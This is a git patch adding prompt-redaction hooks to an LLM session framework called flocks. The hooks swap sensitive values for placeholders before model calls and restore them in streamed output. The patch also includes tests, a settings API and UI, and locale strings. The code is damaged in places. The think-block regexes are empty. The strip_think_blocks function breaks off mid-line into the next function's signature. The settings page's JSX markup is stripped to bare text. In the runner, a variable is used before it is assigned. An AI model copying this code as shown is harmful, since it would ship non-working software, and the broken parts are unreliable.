From 71c508b08d23f5d595dead1a4a9eaf3341bcd100 Mon Sep 17 00:00:00 2001 From: guoxiao Date: Mon, 13 Jul 2026 11:23:07 +0800 Subject: [PATCH 01/67] Add Pro prompt redaction integration --- .../lifecycle/compaction/compaction.py | 1 + .../session/lifecycle/compaction/summary.py | 73 +++++++- flocks/session/lifecycle/title.py | 59 ++++++- flocks/session/llm_hook_utils.py | 140 +++++++++++++++ flocks/session/runner.py | 98 ++++++++--- flocks/session/streaming/stream_processor.py | 49 +++--- tests/session/test_runner_llm_hooks.py | 13 ++ tests/session/test_stream_processor.py | 47 ++++++ webui/src/api/sensitiveDetection.ts | 41 +++++ webui/src/locales/en-US/flockspro.json | 22 +++ webui/src/locales/zh-CN/flockspro.json | 22 +++ webui/src/pages/FlocksproUpgrade/index.tsx | 159 +++++++++++++++++- 12 files changed, 671 insertions(+), 53 deletions(-) create mode 100644 flocks/session/llm_hook_utils.py create mode 100644 webui/src/api/sensitiveDetection.ts diff --git a/flocks/session/lifecycle/compaction/compaction.py b/flocks/session/lifecycle/compaction/compaction.py index 7e614b6d8..dcc6aacea 100644 --- a/flocks/session/lifecycle/compaction/compaction.py +++ b/flocks/session/lifecycle/compaction/compaction.py @@ -1190,6 +1190,7 @@ async def process( focus_instruction=focus_instruction, previous_summary=previous_summary, chat_messages=chat_messages, + session_id=session_id, ) except RuntimeError as _e: # No provider configured — long cooldown (hermes: 600s) diff --git a/flocks/session/lifecycle/compaction/summary.py b/flocks/session/lifecycle/compaction/summary.py index 97557eb5e..3b0b9f207 100644 --- a/flocks/session/lifecycle/compaction/summary.py +++ b/flocks/session/lifecycle/compaction/summary.py @@ -13,8 +13,16 @@ # here in the future). ProgressCallback = Callable[[str, Dict[str, Any]], Awaitable[None]] +from flocks.provider.provider import ChatMessage from flocks.utils.log import Log from flocks.session.prompt import SessionPrompt +from flocks.session.llm_hook_utils import ( + apply_hook_request_output, + restore_text_with_replacements, + serialize_chat_message, + stream_text_replacements_from_hook_output, + strip_think_blocks, +) from .models import DEFAULT_COMPACTION_PROMPT_WITH_PREVIOUS log = Log.create(service="session.compaction.summarization") @@ -159,16 +167,70 @@ async def _llm_chat_with_timeout( messages: list, max_tokens: int, timeout: int = COMPACTION_TIMEOUT_SECONDS, + session_id: Optional[str] = None, + purpose: str = "compaction_summary", ) -> Any: """Call provider_client.chat with a timeout guard.""" - return await asyncio.wait_for( + provider_options: Dict[str, Any] = {"max_tokens": max_tokens} + replacements: list[tuple[str, str]] = [] + if session_id: + try: + from flocks.hooks.pipeline import HookPipeline, HookStage + + provider_id = ( + getattr(provider_client, "provider_id", None) + or getattr(provider_client, "id", None) + or provider_client.__class__.__name__ + ) + llm_hook_metadata = { + "sessionID": session_id, + "agent": "session.compaction", + "step": None, + "model": { + "providerID": provider_id, + "modelID": model_id, + }, + "purpose": purpose, + } + if await HookPipeline.has_stage_handlers(HookStage.LLM_BEFORE, llm_hook_metadata): + llm_before_ctx = await HookPipeline.run_llm_before({ + **llm_hook_metadata, + "request": { + "messageCount": len(messages), + "messages": [serialize_chat_message(message) for message in messages], + "toolCount": 0, + "tools": [], + "providerOptions": dict(provider_options), + "providerToolsEnabled": False, + }, + }) + messages, provider_options = apply_hook_request_output( + messages, + provider_options, + llm_before_ctx.output or {}, + ) + replacements = stream_text_replacements_from_hook_output(llm_before_ctx.output or {}) + except Exception as hook_err: + log.debug("compaction.llm_before_hook.error", { + "session_id": session_id, + "purpose": purpose, + "error": str(hook_err), + }) + + provider_options.setdefault("max_tokens", max_tokens) + response = await asyncio.wait_for( provider_client.chat( model_id=model_id, messages=messages, - max_tokens=max_tokens, + **provider_options, ), timeout=timeout, ) + if replacements and response is not None and isinstance(getattr(response, "content", None), str): + response.content = restore_text_with_replacements(response.content, replacements) + if response is not None and isinstance(getattr(response, "content", None), str): + response.content = strip_think_blocks(response.content) + return response async def summarize_single_pass( @@ -181,6 +243,7 @@ async def summarize_single_pass( focus_instruction: Optional[str] = None, previous_summary: Optional[str] = None, chat_messages: Optional[list] = None, + session_id: Optional[str] = None, ) -> Optional[str]: """Generate summary in a single LLM call. @@ -201,8 +264,6 @@ async def summarize_single_pass( as "merge new turns into the prior summary" rather than compressing from scratch. """ - from flocks.provider.provider import ChatMessage - if chat_messages: # Per-message truncation path (hermes-style): every turn contributes # a capped fragment (head + tail per message), so early decisions @@ -236,6 +297,8 @@ async def summarize_single_pass( model_id=model_id, messages=[ChatMessage(role="user", content=request)], max_tokens=max_tokens, + session_id=session_id, + purpose="compaction_summary", ) except asyncio.TimeoutError: log.error("compaction.single_pass.timeout", { @@ -452,6 +515,8 @@ async def summarize_chunked_iterative( messages=[ChatMessage(role="user", content=chunk_prompt)], max_tokens=chunk_max_tokens, timeout=COMPACTION_TIMEOUT_SECONDS, + session_id=session_id, + purpose="compaction_summary_chunk", ) duration_ms = (time.perf_counter() - started) * 1000 if resp and resp.content: diff --git a/flocks/session/lifecycle/title.py b/flocks/session/lifecycle/title.py index 6378dd04f..382af3cb1 100644 --- a/flocks/session/lifecycle/title.py +++ b/flocks/session/lifecycle/title.py @@ -12,6 +12,12 @@ from flocks.utils.log import Log from flocks.provider.provider import ChatMessage +from flocks.session.llm_hook_utils import ( + apply_hook_request_output, + restore_text_with_replacements, + serialize_chat_message, + stream_text_replacements_from_hook_output, +) EventPublishCallback = Optional[Callable[[str, Dict[str, Any]], Awaitable[None]]] @@ -132,16 +138,59 @@ async def generate_title_after_first_message( # Send PROMPT_TITLE as system instruction, user question as user message title = "" try: + title_messages = [ + ChatMessage(role="system", content=_CANONICAL_TITLE_PROMPT), + ChatMessage(role="user", content=question), + ] + provider_options: Dict[str, Any] = {"max_tokens": 50} + replacements: list[tuple[str, str]] = [] + try: + from flocks.hooks.pipeline import HookPipeline, HookStage + + llm_hook_metadata = { + "sessionID": session_id, + "agent": "session.title", + "step": None, + "model": { + "providerID": provider_id, + "modelID": model_id, + }, + "purpose": "title_generation", + } + if await HookPipeline.has_stage_handlers(HookStage.LLM_BEFORE, llm_hook_metadata): + llm_before_ctx = await HookPipeline.run_llm_before({ + **llm_hook_metadata, + "request": { + "messageCount": len(title_messages), + "messages": [serialize_chat_message(message) for message in title_messages], + "toolCount": 0, + "tools": [], + "providerOptions": dict(provider_options), + "providerToolsEnabled": False, + }, + }) + title_messages, provider_options = apply_hook_request_output( + title_messages, + provider_options, + llm_before_ctx.output or {}, + ) + replacements = stream_text_replacements_from_hook_output(llm_before_ctx.output or {}) + except Exception as hook_err: + log.debug("title.llm_before_hook.error", { + "session_id": session_id, + "error": str(hook_err), + }) + + provider_options.setdefault("max_tokens", 50) async for chunk in provider.chat_stream( model_id, - [ - ChatMessage(role="system", content=_CANONICAL_TITLE_PROMPT), - ChatMessage(role="user", content=question), - ], - max_tokens=50, + title_messages, + **provider_options, ): if hasattr(chunk, 'delta') and chunk.delta: title += chunk.delta + if replacements: + title = restore_text_with_replacements(title, replacements) except Exception as llm_err: log.warn("title.llm_failed", { "session_id": session_id, diff --git a/flocks/session/llm_hook_utils.py b/flocks/session/llm_hook_utils.py new file mode 100644 index 000000000..1112dc31e --- /dev/null +++ b/flocks/session/llm_hook_utils.py @@ -0,0 +1,140 @@ +"""Shared helpers for LLM hook request/response payload handling.""" + +from __future__ import annotations + +import re +from typing import Any, Dict, List, Tuple + +from flocks.provider.provider import ChatMessage + + +class StreamingTextReplacementBuffer: + """Incrementally replace streamed placeholders without leaking partial tokens.""" + + def __init__(self, replacements: List[Tuple[str, str]]): + self._replacements = [ + (pattern, value) + for pattern, value in sorted(replacements, key=lambda item: len(item[0]), reverse=True) + if pattern + ] + self._buffer = "" + self._prefixes: set[str] = set() + self._max_pattern_len = 0 + for pattern, _value in self._replacements: + self._max_pattern_len = max(self._max_pattern_len, len(pattern)) + for index in range(1, len(pattern)): + self._prefixes.add(pattern[:index]) + + @property + def enabled(self) -> bool: + return bool(self._replacements) + + def feed(self, text: str) -> str: + if not self.enabled or not text: + return text + self._buffer += text + keep = self._pending_suffix_length(self._buffer) + if keep: + flush_text = self._buffer[:-keep] + self._buffer = self._buffer[-keep:] + else: + flush_text = self._buffer + self._buffer = "" + return restore_text_with_replacements(flush_text, self._replacements) + + def flush(self) -> str: + if not self.enabled or not self._buffer: + return "" + flush_text = self._buffer + self._buffer = "" + return restore_text_with_replacements(flush_text, self._replacements) + + def _pending_suffix_length(self, text: str) -> int: + max_keep = min(len(text), max(self._max_pattern_len - 1, 0)) + for length in range(max_keep, 0, -1): + if text[-length:] in self._prefixes: + return length + return 0 + + +def serialize_chat_message(message: ChatMessage) -> Dict[str, Any]: + payload = message.model_dump(exclude_none=True) + if not payload.get("custom_settings"): + payload.pop("custom_settings", None) + return payload + + +def stream_text_replacements_from_hook_output(output: Dict[str, Any]) -> List[Tuple[str, str]]: + redaction = output.get("redaction") if isinstance(output, dict) else None + raw_items = redaction.get("streamTextReplacements") if isinstance(redaction, dict) else None + if not isinstance(raw_items, list): + return [] + + replacements: List[Tuple[str, str]] = [] + for item in raw_items: + if not isinstance(item, dict): + continue + placeholder = item.get("placeholder") + value = item.get("value") + if isinstance(placeholder, str) and isinstance(value, str): + replacements.append((placeholder, value)) + return replacements + + +def restore_text_with_replacements(text: str, replacements: List[Tuple[str, str]]) -> str: + restored = text + for pattern, value in sorted(replacements, key=lambda item: len(item[0]), reverse=True): + if pattern: + restored = restored.replace(pattern, value) + return restored + + +def restore_value_with_replacements(value: Any, replacements: List[Tuple[str, str]]) -> Any: + if isinstance(value, str): + return restore_text_with_replacements(value, replacements) + if isinstance(value, list): + return [restore_value_with_replacements(item, replacements) for item in value] + if isinstance(value, dict): + return { + key: restore_value_with_replacements(item, replacements) + for key, item in value.items() + } + return value + + +_THINK_BLOCK_RE = re.compile(r".*?", re.DOTALL | re.IGNORECASE) +_THINK_TAG_RE = re.compile(r"", re.IGNORECASE) + + +def strip_think_blocks(text: str) -> str: + if not isinstance(text, str) or " tuple[List[ChatMessage], Dict[str, Any]]: + updated_request = output.get("request") if isinstance(output, dict) else None + if not isinstance(updated_request, dict): + return messages, provider_options + + updated_messages = messages + raw_messages = updated_request.get("messages") + if isinstance(raw_messages, list): + updated_messages = [ + message + if isinstance(message, ChatMessage) + else ChatMessage.model_validate(message) + for message in raw_messages + ] + + updated_provider_options = provider_options + raw_provider_options = updated_request.get("providerOptions") + if isinstance(raw_provider_options, dict): + updated_provider_options = dict(raw_provider_options) + + return updated_messages, updated_provider_options diff --git a/flocks/session/runner.py b/flocks/session/runner.py index e9c10b5ae..85e52ea4e 100644 --- a/flocks/session/runner.py +++ b/flocks/session/runner.py @@ -33,6 +33,13 @@ ) from flocks.session.lifecycle.retry import CONNECTION_ERROR_DISPLAY_MESSAGE, SessionRetry from flocks.session.lifecycle.compaction import SessionCompaction, CompactionPolicy +from flocks.session.llm_hook_utils import ( + StreamingTextReplacementBuffer, + apply_hook_request_output, + restore_value_with_replacements, + serialize_chat_message, + stream_text_replacements_from_hook_output, +) from flocks.session.streaming.stream_processor import StreamProcessor from flocks.session.streaming.stream_events import ( StartEvent, @@ -2471,12 +2478,6 @@ async def _call_llm( Uses StreamProcessor to handle events and execute tools synchronously. Ported from Flocks' SessionProcessor.process() behavior. """ - def _serialize_message(message: ChatMessage) -> Dict[str, Any]: - payload = message.model_dump(exclude_none=True) - if not payload.get("custom_settings"): - payload.pop("custom_settings", None) - return payload - def _build_llm_response_payload( *, content: str, @@ -2646,7 +2647,24 @@ def _build_llm_response_payload( } llm_before_enabled = False llm_after_enabled = False + replacements: list[tuple[str, str]] = [] + stream_text_rewriter: Optional[StreamingTextReplacementBuffer] = None + stream_reasoning_rewriter: Optional[StreamingTextReplacementBuffer] = None self._llm_call_aborted = False + + async def _flush_reasoning_rewriter() -> None: + if stream_reasoning_rewriter is None or not hasattr(self, '_current_reasoning_id'): + return + trailing_reasoning = stream_reasoning_rewriter.flush() + if not trailing_reasoning: + return + reasoning_metadata = getattr(self, '_current_reasoning_metadata', {}) or {} + await processor.process_event(ReasoningDeltaEvent( + id=self._current_reasoning_id, + text=trailing_reasoning, + metadata=reasoning_metadata, + )) + try: llm_before_enabled = await HookPipeline.has_stage_handlers( HookStage.LLM_BEFORE, @@ -2664,7 +2682,7 @@ def _build_llm_response_payload( **llm_hook_metadata, "request": { "messageCount": len(messages), - "messages": [_serialize_message(message) for message in messages], + "messages": [serialize_chat_message(message) for message in messages], "toolCount": len(tools), "tools": copy.deepcopy(tools), "providerOptions": dict(provider_options), @@ -2673,7 +2691,23 @@ def _build_llm_response_payload( } try: hook_started_at = time.perf_counter() - await HookPipeline.run_llm_before(llm_before_hook_input) + llm_before_ctx = await HookPipeline.run_llm_before(llm_before_hook_input) + hook_output = llm_before_ctx.output or {} + replacements = stream_text_replacements_from_hook_output(hook_output) + if replacements: + stream_text_rewriter = StreamingTextReplacementBuffer(replacements) + stream_reasoning_rewriter = StreamingTextReplacementBuffer(replacements) + updated_request = hook_output.get("request") + if isinstance(updated_request, dict): + messages, provider_options = apply_hook_request_output( + messages, + provider_options, + hook_output, + ) + updated_tools = updated_request.get("tools") + if isinstance(updated_tools, list): + tools = copy.deepcopy(updated_tools) + provider_tools = None if self._should_use_text_tool_call_mode() else (tools if tools else None) self._log_perf( "runner.hook.llm_before.complete", hook_started_at, @@ -2733,23 +2767,29 @@ def _build_llm_response_payload( # reasoning text. event_type = getattr(chunk, 'event_type', None) chunk_metadata = getattr(chunk, 'metadata', None) or {} + display_chunk_metadata = ( + restore_value_with_replacements(chunk_metadata, replacements) + if replacements + else chunk_metadata + ) reasoning_event_types = {"reasoning", "reasoning-start", "reasoning-end"} - if hasattr(self, '_current_reasoning_id') and chunk_metadata: + if hasattr(self, '_current_reasoning_id') and display_chunk_metadata: current_metadata = getattr(self, '_current_reasoning_metadata', {}) or {} - current_metadata.update(chunk_metadata) + current_metadata.update(display_chunk_metadata) self._current_reasoning_metadata = current_metadata if event_type == "reasoning-start" and not hasattr(self, '_current_reasoning_id'): reasoning_id_counter += 1 self._current_reasoning_id = f"reasoning-{reasoning_id_counter}" - self._current_reasoning_metadata = dict(chunk_metadata) + self._current_reasoning_metadata = dict(display_chunk_metadata) await processor.process_event(ReasoningStartEvent( id=self._current_reasoning_id, - metadata=chunk_metadata, + metadata=display_chunk_metadata, )) if event_type == "reasoning-end" and hasattr(self, '_current_reasoning_id'): + await _flush_reasoning_rewriter() reasoning_end_metadata = getattr(self, '_current_reasoning_metadata', {}) or {} await processor.process_event(ReasoningEndEvent( id=self._current_reasoning_id, @@ -2790,22 +2830,26 @@ def _build_llm_response_payload( if not hasattr(self, '_current_reasoning_id'): reasoning_id_counter += 1 self._current_reasoning_id = f"reasoning-{reasoning_id_counter}" - self._current_reasoning_metadata = dict(chunk_metadata) + self._current_reasoning_metadata = dict(display_chunk_metadata) await processor.process_event(ReasoningStartEvent( id=self._current_reasoning_id, - metadata=chunk_metadata, + metadata=display_chunk_metadata, )) if chunk_reasoning: - await processor.process_event(ReasoningDeltaEvent( - id=self._current_reasoning_id, - text=chunk_reasoning, - metadata=chunk_metadata, - )) + if stream_reasoning_rewriter is not None: + reasoning_text = stream_reasoning_rewriter.feed(reasoning_text) + if reasoning_text: + await processor.process_event(ReasoningDeltaEvent( + id=self._current_reasoning_id, + text=reasoning_text, + metadata=display_chunk_metadata, + )) # 2) End reasoning block when this chunk also carries non-reasoning # content (or once the stream moves away from reasoning). if (chunk_text or chunk_tool_calls) and hasattr(self, '_current_reasoning_id'): + await _flush_reasoning_rewriter() reasoning_end_metadata = getattr(self, '_current_reasoning_metadata', {}) or {} await processor.process_event(ReasoningEndEvent( id=self._current_reasoning_id, @@ -2816,8 +2860,13 @@ def _build_llm_response_payload( delattr(self, '_current_reasoning_metadata') # 3) Process text delta. - if chunk_text: + raw_chunk_text = chunk_text + if chunk_text and stream_text_rewriter is not None: + chunk_text = stream_text_rewriter.feed(chunk_text) + + if raw_chunk_text: chunk_counts["text"] += 1 + if chunk_text: if not text_started: await processor.process_event(TextStartEvent()) text_started = True @@ -2867,6 +2916,14 @@ def _build_llm_response_payload( }) await tool_accumulator.flush_remaining(stream_finish_reason) + + if stream_text_rewriter is not None: + trailing_text = stream_text_rewriter.flush() + if trailing_text: + if not text_started: + await processor.process_event(TextStartEvent()) + text_started = True + await processor.process_event(TextDeltaEvent(text=trailing_text)) # End text block if started if text_started: @@ -2874,6 +2931,7 @@ def _build_llm_response_payload( # End any remaining reasoning block if hasattr(self, '_current_reasoning_id'): + await _flush_reasoning_rewriter() reasoning_end_metadata = getattr(self, '_current_reasoning_metadata', {}) or {} await processor.process_event(ReasoningEndEvent( id=self._current_reasoning_id, diff --git a/flocks/session/streaming/stream_processor.py b/flocks/session/streaming/stream_processor.py index 1835e0ff8..a12b62d24 100644 --- a/flocks/session/streaming/stream_processor.py +++ b/flocks/session/streaming/stream_processor.py @@ -568,6 +568,32 @@ async def _handle_tool_call(self, event: ToolCallEvent) -> None: }) return + # Hook pipeline: tool.execute.before + # Apply any input rewrite before publishing the running state so UI + # surfaces show the actual tool input that will be executed. + try: + from flocks.hooks.pipeline import HookPipeline + hook_ctx = await HookPipeline.run_tool_before({ + "sessionID": self.session_id, + "workspace": self._workspace_dir, + "agent": self.agent.name, + "tool": { + "name": tool_name, + "input": tool_input, + "callID": tool_call_id, + }, + }) + if hook_ctx and isinstance(hook_ctx.input, dict): + updated = hook_ctx.input.get("tool", {}).get("input") + if isinstance(updated, dict): + tool_input = updated + tool_state.input = tool_input + hook_output = hook_ctx.output if hook_ctx and isinstance(hook_ctx.output, dict) else {} + hook_skip = hook_output.get("skip", False) + except Exception as e: + log.error("stream.tool_before_hook.error", {"error": str(e)}) + hook_skip = False + tool_state.status = "running" # Update ToolPart to running state (like Flocks's Session.updatePart) @@ -656,29 +682,6 @@ async def _handle_tool_call(self, event: ToolCallEvent) -> None: await self.tool_start_callback(tool_name, tool_input) except Exception as e: log.error("stream.tool_start_callback.error", {"error": str(e)}) - - # Hook pipeline: tool.execute.before - try: - from flocks.hooks.pipeline import HookPipeline - hook_ctx = await HookPipeline.run_tool_before({ - "sessionID": self.session_id, - "workspace": self._workspace_dir, - "agent": self.agent.name, - "tool": { - "name": tool_name, - "input": tool_input, - "callID": tool_call_id, - }, - }) - if hook_ctx and isinstance(hook_ctx.input, dict): - updated = hook_ctx.input.get("tool", {}).get("input") - if isinstance(updated, dict): - tool_input = updated - hook_skip = hook_ctx.output.get("skip") if hook_ctx else False - except Exception as e: - log.error("stream.tool_before_hook.error", {"error": str(e)}) - hook_skip = False - # Execute tool synchronously tool_span_ctx = None if self._langfuse_generation is not None: diff --git a/tests/session/test_runner_llm_hooks.py b/tests/session/test_runner_llm_hooks.py index de691d02f..fe63a9688 100644 --- a/tests/session/test_runner_llm_hooks.py +++ b/tests/session/test_runner_llm_hooks.py @@ -59,6 +59,9 @@ def get_reasoning_content(self) -> str: def get_finish_reason(self): return self.finish_reason + async def drain_parallel_tool_calls(self) -> None: + return None + class _FakeToolAccumulator: def __init__(self, processor): @@ -163,6 +166,11 @@ async def _after(payload, result): assert result["chunkCounts"] == {"total": 1, "reasoning": 1, "text": 1, "tool": 0} monkeypatch.setattr(runner_mod, "StreamProcessor", _FakeProcessor) + monkeypatch.setattr( + runner_mod.HookPipeline, + "has_stage_handlers", + AsyncMock(return_value=True), + ) monkeypatch.setattr( runner_mod.HookPipeline, "run_llm_before", @@ -258,6 +266,11 @@ async def _after(payload, result): assert "provider boom" in result["error"]["message"] monkeypatch.setattr(runner_mod, "StreamProcessor", _FakeProcessor) + monkeypatch.setattr( + runner_mod.HookPipeline, + "has_stage_handlers", + AsyncMock(return_value=True), + ) monkeypatch.setattr( runner_mod.HookPipeline, "run_llm_before", diff --git a/tests/session/test_stream_processor.py b/tests/session/test_stream_processor.py index 186de7c3f..f43af732c 100644 --- a/tests/session/test_stream_processor.py +++ b/tests/session/test_stream_processor.py @@ -449,6 +449,53 @@ async def _fake_execute(*, tool_name, ctx, **kwargs): assert seen_abort["event"] is abort_event + @pytest.mark.asyncio + async def test_tool_before_rewrite_is_published_in_running_state(self): + event_callback = AsyncMock() + proc = _make_processor(event_callback=event_callback) + + async def _fake_tool_before(payload): + assert payload["tool"]["input"] == {"ip": "[IP_1]"} + payload["tool"]["input"] = {"ip": "10.1.2.3"} + ctx = MagicMock() + ctx.input = payload + ctx.output = {} + return ctx + + result = ToolResult(success=True, output="ok", title="ip query", metadata={}) + + with ( + patch("flocks.session.streaming.stream_processor.Message.store_part", new=AsyncMock()), + patch("flocks.session.streaming.stream_processor.Message.update_part", new=AsyncMock()), + patch( + "flocks.session.streaming.stream_processor.ToolRegistry.execute", + new=AsyncMock(return_value=result), + ), + patch( + "flocks.hooks.pipeline.HookPipeline.run_tool_before", + new=AsyncMock(side_effect=_fake_tool_before), + ), + ): + await proc.process_event(ToolInputStartEvent(id="tc_restore_running", tool_name="ip_query")) + await proc.process_event( + ToolCallEvent( + tool_call_id="tc_restore_running", + tool_name="ip_query", + input={"ip": "[IP_1]"}, + ) + ) + + running_inputs = [ + call.args[1]["part"]["state"]["input"] + for call in event_callback.await_args_list + if ( + call.args[0] == "message.part.updated" + and call.args[1].get("part", {}).get("type") == "tool" + and call.args[1]["part"]["state"]["status"] == "running" + ) + ] + assert running_inputs == [{"ip": "10.1.2.3"}] + @pytest.mark.asyncio async def test_cancelled_tool_blocks_late_running_metadata_updates(self): event_callback = AsyncMock() diff --git a/webui/src/api/sensitiveDetection.ts b/webui/src/api/sensitiveDetection.ts new file mode 100644 index 000000000..cc4f23c79 --- /dev/null +++ b/webui/src/api/sensitiveDetection.ts @@ -0,0 +1,41 @@ +import client from './client'; + +export type PromptRedactionPlaceholderFormat = 'verbose' | 'compact'; + +export interface PromptRedactionSettings { + enabled: boolean; + categories: string[] | null; + placeholderFormat: PromptRedactionPlaceholderFormat; + promptHintEnabled: boolean; +} + +export interface PromptRedactionSettingsUpdate { + enabled?: boolean; + categories?: string[] | null; + placeholderFormat?: PromptRedactionPlaceholderFormat; + promptHintEnabled?: boolean; +} + +function normalizeSettings(data: any): PromptRedactionSettings { + const raw = data?.data ?? data ?? {}; + return { + enabled: raw.enabled === true, + categories: Array.isArray(raw.categories) ? raw.categories : null, + placeholderFormat: raw.placeholderFormat === 'compact' ? 'compact' : 'verbose', + promptHintEnabled: raw.promptHintEnabled !== false, + }; +} + +export const sensitiveDetectionApi = { + getPromptRedactionSettings: async (): Promise => { + const response = await client.get('/api/flockspro/sensitive-detection/settings'); + return normalizeSettings(response.data); + }, + + updatePromptRedactionSettings: async ( + payload: PromptRedactionSettingsUpdate, + ): Promise => { + const response = await client.patch('/api/flockspro/sensitive-detection/settings', payload); + return normalizeSettings(response.data); + }, +}; diff --git a/webui/src/locales/en-US/flockspro.json b/webui/src/locales/en-US/flockspro.json index 08bce3525..9b0735ec1 100644 --- a/webui/src/locales/en-US/flockspro.json +++ b/webui/src/locales/en-US/flockspro.json @@ -154,6 +154,28 @@ "invalidEmailError": "Please enter a valid applicant email.", "invalidPhoneError": "Please enter a valid applicant phone number (international numbers supported)." }, + "sensitiveDetection": { + "title": "Prompt Redaction", + "description": "When enabled, sensitive values in user, assistant, and tool messages are replaced before model input.", + "enabledLabel": "Enable prompt redaction", + "placeholderFormat": "Placeholder Format", + "verbosePreview": "Example: [[V_EMAIL_1]]", + "compactPreview": "Example: [EMAIL_1]", + "promptHint": "Model Value Passing Hint", + "promptHintDescription": "Add guidance for passing replaced values to tools. Recommended on; disabling it may make models treat values as template variables.", + "loading": "Loading prompt redaction settings...", + "saving": "Saving prompt redaction settings...", + "placeholderFormats": { + "verbose": "Stable", + "compact": "Compact" + }, + "errors": { + "fetch": "Failed to load prompt redaction settings", + "save": "Failed to save prompt redaction settings", + "fetchSettings": "Failed to load sensitive detection settings", + "updateSettings": "Failed to save sensitive detection settings" + } + }, "callback": { "processing": "Completing console login, please wait...", "missingConsoleLoginId": "Missing console_login_id in callback URL.", diff --git a/webui/src/locales/zh-CN/flockspro.json b/webui/src/locales/zh-CN/flockspro.json index d0d9829b1..53b2c239e 100644 --- a/webui/src/locales/zh-CN/flockspro.json +++ b/webui/src/locales/zh-CN/flockspro.json @@ -154,6 +154,28 @@ "invalidEmailError": "请输入有效的申请人邮箱", "invalidPhoneError": "请输入有效的申请人电话（支持国际号码）" }, + "sensitiveDetection": { + "title": "Prompt 脱敏", + "description": "开启后，进入大模型前会替换用户、助手和工具消息中的敏感信息。", + "enabledLabel": "启用 Prompt 脱敏", + "placeholderFormat": "占位符格式", + "verbosePreview": "示例：[[V_EMAIL_1]]", + "compactPreview": "示例：[EMAIL_1]", + "promptHint": "模型值传递提示", + "promptHintDescription": "向模型补充如何把替换值传递给工具。建议开启，关闭后模型可能把替换值误判为模板变量。", + "loading": "正在读取 Prompt 脱敏设置...", + "saving": "正在保存 Prompt 脱敏设置...", + "placeholderFormats": { + "verbose": "稳定格式", + "compact": "简短格式" + }, + "errors": { + "fetch": "读取 Prompt 脱敏设置失败", + "save": "保存 Prompt 脱敏设置失败", + "fetchSettings": "读取敏感信息识别设置失败", + "updateSettings": "保存敏感信息识别设置失败" + } + }, "callback": { "processing": "正在完成云账号登录，请稍候...", "missingConsoleLoginId": "缺少 console_login_id，无法完成登录。", diff --git a/webui/src/pages/FlocksproUpgrade/index.tsx b/webui/src/pages/FlocksproUpgrade/index.tsx index 89eb4198f..2c957626d 100644 --- a/webui/src/pages/FlocksproUpgrade/index.tsx +++ b/webui/src/pages/FlocksproUpgrade/index.tsx @@ -1,5 +1,5 @@ import { useCallback, useEffect, useMemo, useRef, useState } from 'react'; -import { ArrowDownCircle, ArrowUpCircle, CheckCircle, ChevronDown, Loader2, LogIn, X, XCircle } from 'lucide-react'; +import { ArrowDownCircle, ArrowUpCircle, CheckCircle, ChevronDown, Loader2, LogIn, ShieldCheck, X, XCircle } from 'lucide-react'; import { useSearchParams } from 'react-router-dom'; import { useTranslation } from 'react-i18next'; import PageHeader from '@/components/common/PageHeader'; @@ -12,6 +12,12 @@ import { type UpgradeRequestStatus, } from '@/api/consoleUpgrade'; import { useProductName } from '@/contexts/ProductNameContext'; +import { + sensitiveDetectionApi, + type PromptRedactionPlaceholderFormat, + type PromptRedactionSettings, + type PromptRedactionSettingsUpdate, +} from '@/api/sensitiveDetection'; import { type UpdateProgress } from '@/api/update'; import { extractErrorMessage } from '@/utils/error'; import { checkRestartReadiness } from '@/utils/restartPolling'; @@ -329,6 +335,10 @@ export default function FlocksproUpgradePage() { const [showLicenseDetails, setShowLicenseDetails] = useState(false); const [licenseStatus, setLicenseStatus] = useState(null); const [proPackageStatus, setProPackageStatus] = useState(null); + const [promptRedactionSettings, setPromptRedactionSettings] = useState(null); + const [promptRedactionLoading, setPromptRedactionLoading] = useState(false); + const [promptRedactionSaving, setPromptRedactionSaving] = useState(false); + const [promptRedactionError, setPromptRedactionError] = useState(null); const [dismissedRejectedRequestIds, setDismissedRejectedRequestIds] = useState>( loadDismissedRejectedRequestIds, ); @@ -792,6 +802,47 @@ export default function FlocksproUpgradePage() { } }, [activeRequest?.request_id, currentDisplayLicenseRequest?.request_id, currentIssuedRequest?.request_id, refreshRequests, t]); + const loadPromptRedactionSettings = useCallback(async () => { + if (!isProLoaded) { + setPromptRedactionSettings(null); + setPromptRedactionError(null); + return; + } + setPromptRedactionLoading(true); + setPromptRedactionError(null); + try { + const settings = await sensitiveDetectionApi.getPromptRedactionSettings(); + setPromptRedactionSettings(settings); + } catch (err) { + setPromptRedactionError(extractErrorMessage(err, t('sensitiveDetection.errors.fetchSettings'))); + } finally { + setPromptRedactionLoading(false); + } + }, [isProLoaded, t]); + + const updatePromptRedactionSettings = useCallback( + async (payload: PromptRedactionSettingsUpdate) => { + if (!isProLoaded) { + return; + } + setPromptRedactionSaving(true); + setPromptRedactionError(null); + try { + const settings = await sensitiveDetectionApi.updatePromptRedactionSettings(payload); + setPromptRedactionSettings(settings); + } catch (err) { + setPromptRedactionError(extractErrorMessage(err, t('sensitiveDetection.errors.updateSettings'))); + } finally { + setPromptRedactionSaving(false); + } + }, + [isProLoaded, t], + ); + + useEffect(() => { + void loadPromptRedactionSettings(); + }, [loadPromptRedactionSettings]); + useEffect(() => { if (autoSyncTriggeredRef.current) { return; @@ -1319,6 +1370,112 @@ export default function FlocksproUpgradePage() { )} + {isProLoaded && ( +
+
+
+ + + +
+

{t('sensitiveDetection.title')}

+

{t('sensitiveDetection.description')}

+
+
+ +
+ +
+
+
+
{t('sensitiveDetection.placeholderFormat')}
+
+ {promptRedactionSettings?.placeholderFormat === 'compact' + ? t('sensitiveDetection.compactPreview') + : t('sensitiveDetection.verbosePreview')} +
+
+
+ {(['verbose', 'compact'] as PromptRedactionPlaceholderFormat[]).map((format) => { + const active = promptRedactionSettings?.placeholderFormat === format; + return ( + + ); + })} +
+
+ +
+
+
{t('sensitiveDetection.promptHint')}
+
{t('sensitiveDetection.promptHintDescription')}
+
+ +
+
+ + {(promptRedactionLoading || promptRedactionSaving || promptRedactionError) && ( +
+ {promptRedactionError || + (promptRedactionSaving ? t('sensitiveDetection.saving') : t('sensitiveDetection.loading'))} +
+ )} +
+ )} + {historyRequests.length > 0 && (
